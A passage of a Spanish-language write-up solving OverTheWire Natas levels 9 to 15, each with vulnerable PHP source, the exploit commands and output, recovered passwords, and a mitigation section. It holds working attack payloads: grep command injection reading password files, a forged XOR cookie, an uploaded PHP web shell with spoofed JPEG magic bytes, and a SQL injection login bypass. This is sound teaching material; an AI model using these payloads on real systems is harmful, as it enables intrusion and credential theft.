<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

El sitio web muestra un formulario de búsqueda y un link al código fuente que controla el formulario de búsqueda.

http://natas9.natas.labs.overthewire.org/index-source.html

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>

El código fuente muestra que la variable key guarda el input del usuario y lo utiliza para ejecutar el comando grep.

La web GTFOBins muestra como se puede aprovechar la lectura de archivos a través del comando grep. Leemos el archivo que contiene el password del siguiente nivel.

curl -s -G --data-urlencode 'needle="" /etc/natas_webpass/natas10' -d "submit=Search" 'http://natas9.natas.labs.overthewire.org/' --user natas9:UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9 | head -n 25
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas9", "pass": "UdxmI27dTaXmnd1rxKQTfws6jihTdcQ9" };</script></head>
<body>
<h1>natas9</h1>
<div id="content">
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
/etc/natas_webpass/natas10:EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
Password natas10

EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv

Vulnerabilidad

Se trata de una vulnerabilidad de Command Injection (inyección de comandos del sistema operativo). La aplicación web utiliza la función passthru() de PHP para ejecutar un comando del sistema (grep) concatenando directamente el input del usuario ($key) sin ningún tipo de input sanitization o escaping. Al no limpiar la entrada, un atacante puede insertar metacaracteres del shell (como espacios, punto y coma ;, pipes |, o redirecciones) para modificar la lógica del comando original o inyectar y ejecutar comandos adicionales en el sistema operativo con los privilegios del servidor web.

Mitigación
  • No utilizar funciones que llamen directamente al sistema operativo (como passthru, system, exec, o shell_exec). Para buscar palabras en un archivo en PHP, es mucho más seguro utilizar funciones nativas del lenguaje como file(), fgets(), o expresiones regulares (preg_match()).
  • En caso de ser estrictamente necesario interactuar con el sistema operativo, se debe sanitizar el argumento utilizando funciones específicas que escapan los caracteres especiales del shell escapeshellarg() o escapeshellcmd().
  • Asegurar que el usuario que ejecuta el servidor web (como www-data) tenga permisos estrictamente limitados en el sistema de archivos para mitigar el impacto en caso de una inyección exitosa.

Natas Level 9 → Level 10

Natas Level 9 → Level 10

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas10.natas.labs.overthewire.org/ --user natas10:EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Vemos un sitio web con un formulario de búsqueda y un link al código fuente que maneja el backend.

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>

El código fuente muestra que la función preg_match busca los caracteres ;, | y & en el texto buscado, si lo encuentra descarta el input. Utilizando el mismo input del nivel anterior obtenemos el password para el próximo nivel.

curl -s -G --data-urlencode 'needle="" /etc/natas_webpass/natas11' -d "submit=Search" 'http://natas10.natas.labs.overthewire.org/' --user natas10:EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv | head -n 30
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas10", "pass": "EgjlkzB6E8LJyf2Obt4q7q4ewt5ZWSNv" };</script></head>
<body>
<h1>natas10</h1>
<div id="content">

For security reasons, we now filter on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<br />
<b>Warning</b>:  preg_match(): Allocation of JIT memory failed, PCRE JIT will be disabled. This is likely caused by security restrictions. Either grant PHP permission to allocate executable memory, or set pcre.jit=0 in <b>/var/www/natas/natas10/index.php</b> on line <b>31</b><br />
/etc/natas_webpass/natas11:VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
dictionary.txt:
dictionary.txt:African
dictionary.txt:Africans
dictionary.txt:Allah
dictionary.txt:Allah's
Password natas11

VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd

Vulnerabilidad

El desarrollador intentó mitigar el fallo del nivel anterior validando el input con una blacklist basada en una expresión regular (preg_match('/[;|&]/', $key)). Sin embargo, el control es insuficiente porque solo bloquea metacaracteres específicos de encadenamiento de comandos, pero no impide que el atacante pase múltiples argumentos nativos al propio binario del sistema operativo (en este caso, inyectando un archivo adicional /etc/natas_webpass/natas11 como segundo argumento para el comando grep).

Mitigación
  • Evitar por completo el uso de passthru(). Reemplazar la ejecución en consola por lógica nativa en PHP (como leer el archivo dictionary.txt con file() y buscar la coincidencia usando preg_match()).
  • En lugar de buscar qué caracteres no permitir, validar que la entrada contenga únicamente caracteres permitidos (por ejemplo, permitir estrictamente caracteres alfanuméricos usando ^[\w]+$).
  • Si es obligatorio usar comandos de consola, se debe aplicar escapeshellarg() al parámetro $key. Esto encapsula el input entre comillas simples y neutraliza cualquier intento de pasar argumentos extra a grep, forzando al sistema a tratar toda la entrada como una cadena de texto de búsqueda literal.

Natas Level 10 → Level 11

Natas Level 10 → Level 11

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas11.natas.labs.overthewire.org/ --user natas11:VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd" };</script></head>

<h1>natas11</h1>
<div id="content">
<body style="background: #ffffff;">
Cookies are protected with XOR encryption<br/><br/>


<form>
Background color: <input name=bgcolor value="#ffffff">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

La web permite cambiar el color de fondo e indica que las cookies están protegidas con un encriptado con XOR, también tiene un link al código fuente que corre en el back.

<?

$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

Desde PHP en modo interactivo

php -a

Guardamos en una variable la cookie data que obtenemos del navegador

php > $cookie = "EGAgHwQ1IxYYMSQYGSZxTUksPFVHYDEQCC0%2FGBlgaVVIIzcVDyE3VRY%3D";

Decodificamos la cookie

php > $cookie = urldecode("EGAgHwQ1IxYYMSQYGSZxTUksPFVHYDEQCC0%2FGBlgaVVIIzcVDyE3VRY%3D");

Guardamos en la variable $plaintext el texto plano que corresponde a la cookie convirtiendolo al formato json

php > $plaintext = json_encode(["showpassword" => "no", "bgcolor" => "#ffffff"]);

Guardamos el texto cifrado en la variable $ciphertext

php > $ciphertext = base64_decode($cookie);

Creamos una variable para guardar la key

php > $key = "";

Ejecutamos un XOR y dadas sus propiedades obtenemos la key al observar el patrón que se repite

php > for ($i = 0; $i < strlen($plaintext); $i++) {$key .= $ciphertext[$i] ^ $plaintext[$i];}
php > echo $key;
kBSwkBSwkBSwkBSwkBSwkBSwkBSwkBSwkEQsiGQwk

Utilizamos la key en la función xor_encrypt

php > function xor_encrypt($in) {
    $key = "kBSw";
    $out = "";

    for ($i = 0; $i < strlen($in); $i++) {
        $out .= $in[$i] ^ $key[$i % strlen($key)];
    }

    return $out;
}

Verificamos que la key es correcta si obtenemos el texto plano

php > echo xor_encrypt(base64_decode($cookie));
{"showpassword":"no","bgcolor":"#adbdcd"}

Creamos un array con la key showpassword y el value yes para obtener el password

php > $data = ["showpassword" => "yes", "bgcolor" => "#adbdcd"];

Convertimos a json el array, lo ciframos con XOR y codificamos en base64 para reemplazar la cookie

php > echo base64_encode(xor_encrypt(json_encode($data)));
EGAgHwQ1IxYYMSQYGSZxTUk7NgRJbnEVDCE8GwQwcU1JYTITCSYwE0k/

Enviamos la cookie y obtenemos el password

curl --cookie "data=EGAgHwQ1IxYYMSQYGSZxTUk7NgRJbnEVDCE8GwQwcU1JYTITCSYwE0k/" http://natas11.natas.labs.overthewire.org/ --user natas11:VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas11", "pass": "VUMQDmuITOEHzhviLE5V0VG9cPMQkyxd" };</script></head>
<br />
<b>Warning</b>:  preg_match(): Allocation of JIT memory failed, PCRE JIT will be disabled. This is likely caused by security restrictions. Either grant PHP permission to allocate executable memory, or set pcre.jit=0 in <b>/var/www/natas/natas11/index.php</b> on line <b>34</b><br />

<h1>natas11</h1>
<div id="content">
<body style="background: #adbdcd;">
Cookies are protected with XOR encryption<br/><br/>

The password for natas12 is EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng<br>
<form>
Background color: <input name=bgcolor value="#adbdcd">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Password natas12

EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng

Vulnerabilidad

Se trata de una vulnerabilidad de Cryptographic Flaw (fallo criptográfico) combinada con Insufficiently Protected Credentials. El servidor confía ciegamente en el contenido de una cookie enviada por el usuario para controlar los privilegios de sesión (showpassword). Para protegerla de modificaciones, utiliza un cifrado XOR con clave repetitiva (XOR Cipher), que es una forma de Weak Cryptography. Debido a las propiedades matemáticas de la operación XOR, conocer tanto un bloque de texto plano como su equivalente cifrado permite deducir la clave secreta fácilmente (Known-Plaintext Attack o KPA). Una vez obtenida la clave, el atacante tiene la capacidad de forjar cookies válidas con privilegios elevados (Privilege Escalation).

Mitigación
  • La operación XOR simple no provee integridad. Se debe evitar diseñar protocolos de cifrado propios.
  • La mejor práctica consiste en almacenar los datos sensibles (como los privilegios de usuario o el estado de autenticación) del lado del servidor, dejando en la cookie únicamente un identificador de sesión único, aleatorio y de alta entropía.
  • En caso de requerir almacenar datos del lado del cliente, se deben usar estándares seguros con firmas criptográficas no manipulables, tales como HMAC (Hash-based Message Authentication Code) o JSON Web Tokens (JWT) firmados con algoritmos fuertes (como HS256 o RS256), manteniendo la clave de firma estrictamente resguardada en el servidor.

Natas Level 11 → Level 12

Natas Level 11 → Level 12

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas12.natas.labs.overthewire.org/ --user natas12:EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="sifbzc1b47.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

La web permite subir una imagen y tiene un link para ver el código fuente.

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>

La web permite subir imágenes con un tamaño máximo. Subimos una webshell shell.php para ejecutar comandos.

<?php system($_GET['cmd']);?>
curl -F "MAX_FILE_SIZE=1000" -F "filename=shell.php" -F "uploadedfile=@shell.php;type=image/jpeg" --user natas12:EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng http://natas12.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/jmhyarkw7p.php">upload/jmhyarkw7p.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Probamos obtener el password para el próximo nivel

curl -s --user natas12:EAGkE8uzFTxeoTT2mMst9Xy7PX6guEng -G --data-urlencode "cmd=cat /etc/natas_webpass/natas13" http://natas12.natas.labs.overthewire.org/upload/jmhyarkw7p.php
g8ba0olAzaSJuyS4gnmbdVVigAICLG1k
Password natas13

g8ba0olAzaSJuyS4gnmbdVVigAICLG1k

Vulnerabilidad

Se trata de una vulnerabilidad de Unrestricted File Upload (subida de archivos no restringida) que resulta en Remote Code Execution (RCE) (ejecución remota de código). El fallo principal radica en que el servidor web confía en un parámetro manipulable del lado del cliente ($_POST["filename"]) para determinar la extensión final del archivo subido en lugar de validar y forzar la extensión desde el backend. Al cambiar este parámetro a .php, un atacante puede subir un script malicioso en PHP (Webshell) en vez de la imagen esperada y luego solicitarlo directamente vía HTTP para ejecutar comandos arbitrarios en el sistema operativo del servidor.

Mitigación
  • El servidor debe ignorar el nombre y la extensión provistos por el cliente. La extensión del archivo debe ser generada estrictamente en el backend basándose en el tipo de archivo permitido por el negocio (por ejemplo, forzar siempre la extensión a .jpg o .png).
  • Utilizar funciones robustas en el backend para validar que el contenido del archivo subido coincida con el tipo permitido (por ejemplo, a través de la extensión fileinfo de PHP o leyendo las firmas de bytes mágicos del archivo).
  • Configurar el servidor web para que no interprete scripts (como PHP) dentro del directorio de destino (ej. /upload).
  • Guardar los archivos subidos en una carpeta inaccesible directamente por URL pública y servirlos de forma indirecta mediante un script intermedio que lea y devuelva el flujo de bytes.

Natas Level 12 → Level 13

Natas Level 12 → Level 13

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas13.natas.labs.overthewire.org/ --user natas13:g8ba0olAzaSJuyS4gnmbdVVigAICLG1k
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "g8ba0olAzaSJuyS4gnmbdVVigAICLG1k" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>


<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="kpfi5z9ft9.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
printf '\xFF\xD8\xFF\xE0' | dd of=shell.php bs=1 count=4 conv=notrunc
4+0 records in
4+0 records out
4 bytes copied, 6.2643e-05 s, 63.9 kB/s
xxd shell.php 
00000000: ffd8 ffe0 3c3f 7068 7020 7379 7374 656d  ....<?php system
00000010: 2824 5f47 4554 5b22 636d 6422 5d29 3b20  ($_GET["cmd"]); 
00000020: 3f3e 0a                                  ?>.
curl -F "MAX_FILE_SIZE=1000" -F "filename=shell.php" -F "uploadedfile=@shell.php;type=image/jpeg" --user natas13:g8ba0olAzaSJuyS4gnmbdVVigAICLG1k http://natas13.natas.labs.overthewire.org/
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "g8ba0olAzaSJuyS4gnmbdVVigAICLG1k" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

The file <a href="upload/362mgbg49g.php">upload/362mgbg49g.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
curl -s -G --user natas13:g8ba0olAzaSJuyS4gnmbdVVigAICLG1k --data-urlencode "cmd=cat /etc/natas_webpass/natas14" http://natas13.natas.labs.overthewire.org/upload/362mgbg49g.php
����A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
Password natas14

A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8

Vulnerabilidad

Unrestricted File Upload que deriva en Remote Code Execution (RCE), combinado con un Bypass of File Type Validation using Magic Bytes. El desarrollador intentó mejorar la seguridad validando el tipo de archivo mediante su contenido real en lugar de confiar solo en la extensión. Sin embargo, la validación implementada es débil porque solo comprueba los primeros bytes del archivo (las firmas o Magic Bytes que identifican a un JPEG) para determinar si es una imagen válida. Al anteponer estos bytes a una estructura de código PHP válida, la aplicación aprueba la subida y el servidor web ejecuta el código malicioso cuando se solicita el archivo .php.

Mitigación
  • Funciones como exif_imagetype() o la revisión de cabeceras son fáciles de evadir. Se deben complementar con un procesamiento real del archivo (por ejemplo, intentar re-renderizar o recrear la imagen usando la librería GD de PHP con imagecreatefromjpeg(), lo cual destruye cualquier código PHP embebido).
  • El backend debe generar e imponer su propia extensión permitida (como .jpg) basándose estrictamente en el tipo de archivo validado, descartando por completo extensiones peligrosas suministradas por el usuario (como .php).
  • Bloquear la interpretación de código de scripts en el directorio de subidas (por ejemplo, con php_flag engine off en Apache o bloqueando la ejecución en Nginx) para asegurar que el archivo se sirva estrictamente como un recurso estático (descarga o visualización de imagen), sin importar su extensión.

Natas Level 13 → Level 14

Natas Level 13 → Level 14

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas14.natas.labs.overthewire.org/ --user natas14:A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
}
curl -X POST -d 'username=melvin" or 1=1-- -' -d 'password=melvin' http://natas14.natas.labs.overthewire.org/ --user natas14:A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas14", "pass": "A0xXu2x9FW8rb8OSQ4ei6n5VBbLUz8h8" };</script></head>
<body>
<h1>natas14</h1>
<div id="content">
Successful login! The password for natas15 is GB6USCJYJjwLyYhZUNkE1NwDueiTow6g<br><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
Password natas15

GB6USCJYJjwLyYhZUNkE1NwDueiTow6g

Vulnerabilidad

Se trata de una vulnerabilidad de SQL Injection (SQLi) (inyección SQL). El fallo ocurre porque la aplicación web construye la consulta SQL concatenando directamente las entradas del usuario ($_REQUEST["username"] y $_REQUEST["password"]) de forma dinámica en el string de la query. Al no aplicar ningún tipo de input sanitization ni utilizar consultas parametrizadas, el intérprete de la base de datos confunde los datos provistos por el usuario con código de comando SQL. Esto permite a un atacante alterar la lógica booleana de la consulta original para forzar al sistema a devolver filas válidas, logrando un Authentication Bypass (evasión de autenticación).

Mitigación
  • Utilizar Prepared Statements (Consultas Parametrizadas): Al usar Prepared Statements (con librerías como PDO o funciones nativas preparadas en mysqli), la estructura de la consulta SQL se precompila en la base de datos y los parámetros del usuario se tratan estrictamente como literales de datos, neutralizando cualquier intento de inyección de código.
// Ejemplo de mitigación correcta:
$stmt = $link->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
  • Si por motivos heredados no se pueden usar consultas preparadas, se debe pasar obligatoriamente cada variable por funciones que escapan los caracteres especiales de SQL, como mysqli_real_escape_string(), antes de concatenarla.
  • Configurar la cuenta de conexión del servidor web a la base de datos para que solo posea los permisos mínimos necesarios (por ejemplo, solo SELECT en la tabla users), limitando el impacto en caso de sufrir otra inyección.

Natas Level 14 → Level 15

Natas Level 14 → Level 15

Al visitar el sitio web nos pide iniciar sesión. Iniciamos sesión con las credenciales obtenidas.

curl http://natas15.natas.labs.overthewire.org/ --user natas15:GB6USCJYJjwLyYhZUNkE1NwDueiTow6g
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas15", "pass": "GB6USCJYJjwLyYhZUNkE1NwDueiTow6g" };</script></head>
<body>
<h1>natas15</h1>
<div id="content">

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
<?php

/*
CREATE TABLE `users` (
